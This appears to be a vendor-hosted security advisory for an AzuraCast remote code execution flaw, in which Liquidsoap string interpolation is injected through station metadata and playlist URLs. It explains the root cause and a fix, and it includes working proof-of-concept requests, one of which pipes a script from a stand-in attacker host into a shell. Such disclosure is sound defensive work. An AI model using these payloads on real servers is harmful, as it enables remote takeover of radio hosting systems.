Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

GHSA-93fx-5qgc-wr38

AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs
Back to all
CVE

GHSA-93fx-5qgc-wr38

AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs

Summary

AzuraCast's ConfigWriter::cleanUpString() method fails to sanitize Liquidsoap string interpolation sequences (#{...}), allowing authenticated users with StationPermissions::Media or StationPermissions::Profile permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, #{...} expressions are evaluated, enabling arbitrary command execution via Liquidsoap's process.run() function.

Root Cause

File: backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php, line ~1345

public static function cleanUpString(?string $string): string
{
    return str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? '');
}

This function only replaces " with ' and strips newlines. It does NOT filter:

  • #{...} — Liquidsoap string interpolation (evaluated as code inside double-quoted strings)
  • `` — Backslash escape character

Liquidsoap, like Ruby, evaluates #{expression} inside double-quoted strings. process.run() in Liquidsoap executes shell commands.

Injection Points

All user-controllable fields that pass through cleanUpString() and are embedded in double-quoted strings in the .liq config:

| Field | Permission Required | Config Line |

|---|---|---|

playlist.remote_url | Media | input.http("...") or playlist("...") |

station.name | Profile | name = "..." |

station.description | Profile | description = "..." |

station.genre | Profile | genre = "..." |

station.url | Profile | url = "..." |

backendconfig.livebroadcast_text | Profile | settings.azuracast.livebroadcasttext := "..." |

backendconfig.djmount_point | Profile | input.harbor("...") |

PoC 1: Via Remote Playlist URL (Media permission)

POST /api/station/1/playlists HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>
{
    "name": "Malicious Remote",
    "source": "remote_url",
    "remote_url": "http://x#{process.run('id > /tmp/pwned')}.example.com/stream",
    "remote_type": "stream",
    "is_enabled": true
}

The generated liquidsoap.liq will contain:

mksafe(buffer(buffer=5., input.http("http://x#{process.run('id > /tmp/pwned')}.example.com/stream")))

When Liquidsoap parses this, process.run('id > /tmp/pwned') executes as the azuracast user.

PoC 2: Via Station Description (Profile permission)

PUT /api/station/1/profile/edit HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_PROFILE_PERMISSION>
{
    "name": "My Station",
    "description": "#{process.run('curl http://attacker.com/shell.sh | sh')}"
}

Generates:

description = "#{process.run('curl http://attacker.com/shell.sh | sh')}"

Trigger Condition

The injection fires when the station is restarted, which happens during:

  • Normal station restart by any user with Broadcasting permission
  • System updates and maintenance
  • azuracast:radio:restart CLI command
  • Docker container restarts

Impact

  • Severity: Critical
  • Authentication: Required — any station-level user with Media or Profile permission
  • Impact: Full RCE on the AzuraCast server as the azuracast user
  • CWE: CWE-94 (Code Injection)

Recommended Fix

Update cleanUpString() to escape # and ``:

public static function cleanUpString(?string $string): string
{
    return str_replace(
        ['"', "\n", "\r", '\\', '#'],
        ['\'', '', '', '\\\\', '\\#'],
        $string ?? ''
    );
}

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
-
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
C
H
U
-

Related Resources

No items found.

References

https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-93fx-5qgc-wr38, https://github.com/AzuraCast/AzuraCast/commit/d04b5c55ce0d867bcb87f49f7082bf8edbcd360c, https://github.com/AzuraCast/AzuraCast/commit/ff49ef4d0fa571a3661abff6d0a9546ba3ed5df5, https://github.com/AzuraCast/AzuraCast, https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.4

Severity

8.7

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
8.7
EPSS Probability
0%
EPSS Percentile
0%
Introduced Version
0
Fix Available
0.23.4

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading